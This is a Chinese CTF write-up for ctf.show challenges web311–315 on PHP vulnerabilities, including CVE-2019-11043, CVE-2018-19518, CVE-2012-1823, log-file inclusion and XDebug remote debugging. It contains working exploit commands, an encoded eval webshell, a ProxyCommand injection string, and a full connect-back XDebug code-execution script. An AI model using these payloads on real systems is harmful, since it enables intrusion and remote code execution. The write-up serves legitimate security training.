WEB入门——phpCVE
web311
考点：CVE-2019-11043
影响版本：
PHP 5.6-7.x
Nginx>=0.7.31
nginx配置了fastcgi_split_path_info
目标环境为 Nginx + PHP-FPM，且PHP版本为7.1
上网搜索对应的漏洞，发现CVE-2019-11043符合我们的要求
这题要用到的工具是phuip-fpizdam
go run . "http://e0ee7b46-73c9-4ae1-a013-c6cf07c67cf7.challenge.ctf.show/index.php"
返回：
2026/02/10 10:12:53 Base status code is 200
2026/02/10 10:12:55 Status code 502 for qsl=1765, adding as a candidate
2026/02/10 10:12:57 The target is probably vulnerable. Possible QSLs: [1755 1760 1765]
2026/02/10 10:13:17 Attack params found: --qsl 1760 --pisos 237 --skip-detect
2026/02/10 10:13:17 Trying to set "session.auto_start=0"...
2026/02/10 10:13:18 Detect() returned attack params: --qsl 1760 --pisos 237 --skip-detect <-- REMEMBER THIS
2026/02/10 10:13:18 Performing attack using php.ini settings...
2026/02/10 10:13:20 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2026/02/10 10:13:20 Trying to cleanup /tmp/a...
2026/02/10 10:13:21 Done!
在/index.php?a=执行命令即可
/index.php?a=nl fl0gHe1e.txt
web312
考点：CVE-2018-19518
影响版本
PHP：5.6.38
系统：Debian/ubuntu
先对 shell base64 编码
<?php @eval($_POST[succ3]);?>`
=>
PD9waHAgQGV2YWwoJF9QT1NUW3N1Y2MzXSk7Pz4=
再对
echo "PD9waHAgQGV2YWwoJF9QT1NUW3N1Y2MzXSk7Pz4=" | base64 -d > /var/www/html/shell.php
进行一次base64编码
ZWNobyAiUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VVzNOMVkyTXpYU2s3UHo0PSIgfCBiYXNlNjQgLWQgPiAvdmFyL3d3dy9odG1sL3NoZWxsLnBocA==
若有 =或者+ 需 url 编码一次
最后将 hostname 的内容替换为：
x+-oProxyCommand%3decho%09编码后的命令|base64%09-d|sh}
结果为：
x+-oProxyCommand%3decho%09ZWNobyAiUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VVzNOMVkyTXpYU2s3UHo0PSIgfCBiYXNlNjQgLWQgPiAvdmFyL3d3dy9odG1sL3NoZWxsLnBocA%3D%3D|base64%09-d|sh}
虽然报错了，但是文件已经写入:
web313
影响版本：
php < 5.3.12 or php < 5.4.2
nuclei -u http://b09f2474-8fa7-4988-a1d3-7e77664975d9.challenge.ctf.show -t http\cves\2012\CVE-2012-1823.yaml
返回：
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.7.0
projectdiscovery.io
[INF] Current nuclei version: v3.7.0 (latest)
[INF] Current nuclei-templates version: v10.3.8 (latest)
[INF] New templates added in latest release: 457
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2012-1823] [http] [high] http://b09f2474-8fa7-4988-a1d3-7e77664975d9.challenge.ctf.show/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
[INF] Scan completed in 60.3444ms. 1 matches found.
import requests
url = "http://b09f2474-8fa7-4988-a1d3-7e77664975d9.challenge.ctf.show/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input"
payload = """<?php echo system("cat /somewhere/fla9.txt"); ?>"""
response = requests.post(url, data=payload)
print(response.text)
web
D:\Tools\web_tools\nuclei_3.7.0>nuclei -u http://pwn.challenge.ctf.show:28100 -t http\cves
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.7.0
projectdiscovery.io
[INF] Current nuclei version: v3.7.0 (latest)
[INF] Current nuclei-templates version: v10.3.8 (latest)
[INF] New templates added in latest release: 457
[INF] Templates loaded for current scan: 3653
[INF] Executing 3653 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[INF] Templates clustered: 35 (Reduced 27 Requests)
[INF] Using Interactsh Server: oast.fun
[CVE-2015-10141] [http] [critical] http://pwn.challenge.ctf.show:28100/?XDEBUG_SESSION_START=39TNLMqkqOk2ifoqw9yCjTr63wl
web314
<?php
error_reporting(0);
highlight_file(__FILE__);
//phpinfo
$file = $_GET['f'];
if(!preg_match('/\:/',$file)){
include($file);
}
日志包含
?f=/var/log/nginx/access.log
User-Agent:
<?php system('cat /fl6g');?>
web315
利用前提
xdebug.remote_connect_back = 1
xdebug.remote_enable = 1
扫描：
D:\Tools\web_tools\nuclei_3.7.0>nuclei -u http://pwn.challenge.ctf.show:28100 -t http\cves
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.7.0
projectdiscovery.io
[INF] Current nuclei version: v3.7.0 (latest)
[INF] Current nuclei-templates version: v10.3.8 (latest)
[INF] New templates added in latest release: 457
[INF] Templates loaded for current scan: 3653
[INF] Executing 3653 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[INF] Templates clustered: 35 (Reduced 27 Requests)
[INF] Using Interactsh Server: oast.site
[CVE-2015-10141] [http] [critical] http://pwn.challenge.ctf.show:28100/?XDEBUG_SESSION_START=39U2uO2OhH30HQ3KS4ZbRjQTa57
[INF] Scan completed in 59.8374013s. 1 matches found.
http://pwn.challenge.ctf.show:28100/?XDEBUG_SESSION_START=39U2uO2OhH30HQ3KS4ZbRjQTa57
利用脚本：
#!/usr/bin/env python3
import re
import sys
import time
import requests
import argparse
import socket
import base64
import binascii
import socketserver
import threading
import logging
logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='%(levelname)s - %(message)s')
server_done = threading.Event()
server_started = threading.Event()
def recv_xml(sock: socket.socket) -> bytes:
blocks = []
data = b''
while True:
try:
data = data + sock.recv(1024)
except socket.error as e:
break
if not data:
break
while data:
eop = data.find(b'\x00')
if eop < 0:
break
blocks.append(data[:eop])
data = data[eop+1:]
if len(blocks) >= 4:
break
return blocks[3]
class XDebugRequestHandler(socketserver.BaseRequestHandler):
def handle(self):
logging.info('[+] Recieve data from %s', self.client_address)
self.request.sendall(b''.join([b'eval -i 1 -- ', base64.b64encode(self.server.code.encode()), b'\x00']))
data = recv_xml(self.request)
logging.info('[+] Recieve data: ' + data.decode())
g = re.search(rb'<\!\[CDATA\[([a-z0-9=\./\+]+)\]\]>', data, re.I)
if not g:
logging.warning('[-] No result...')
return
data = g.group(1)
try:
logging.info('[+] Result: ' + base64.b64decode(data).decode())
server_done.set()
except binascii.Error as e:
logging.error('[-] May be not string result: %s', e)
class XDebugServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
def __init__(self, server_address, handler_class, code):
self.code = code
self.allow_reuse_address = True
super().__init__(server_address, handler_class)
def server_activate(self):
super().server_activate()
logging.info('[+] Server %s started', self.server_address)
server_started.set()
def start_dbgp_server(port: int, code: str):
server = XDebugServer(('0.0.0.0', port), XDebugRequestHandler, code)
server_thread = threading.Thread(target=server.serve_forever, daemon=True)
server_thread.start()
return server_thread
def trigger_debug_session(url: str, attack_ip: str):
try:
server_started.wait(timeout=5)
logging.info('[+] Trigger debug session')
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0'
}
if attack_ip:
headers['X-Forwarded-For'] = attack_ip
requests.get(url + '?XDEBUG_SESSION_START=phpstorm&XDEBUG_SESSION=1&XDEBUG_TRIGGER=1', headers=headers, timeout=5)
except:
pass
def main():
parser = argparse.ArgumentParser(description='XDebug remote debug code execution.')
parser.add_argument('-c', '--code', required=True, help='the code you want to execute.')
parser.add_argument('-t', '--target', required=True, help='target url.')
parser.add_argument('--dbgp-ip', default='', help='dbgp server ip address, must can be accessed from target server.')
args = parser.parse_args()
start_dbgp_server(9000, args.code)
start_dbgp_server(9003, args.code)
threading.Thread(target=trigger_debug_session, args=(args.target, args.dbgp_ip), daemon=True).start()
try:
# Wait with a timeout, but check for interrupts
for i in range(20):
if server_done.is_set():
break
time.sleep(0.5)
else:
logging.error('[-] Execution timed out')
except KeyboardInterrupt:
logging.info('[*] Received keyboard interrupt, exiting...')
if __name__ == '__main__':
main()
没跑出来
python3 exp.py -t http://pwn.challenge.ctf.show:28100/index.php -c 'shell_exec("cat flaaaxx.php");'
浙公网安备 33010602011771号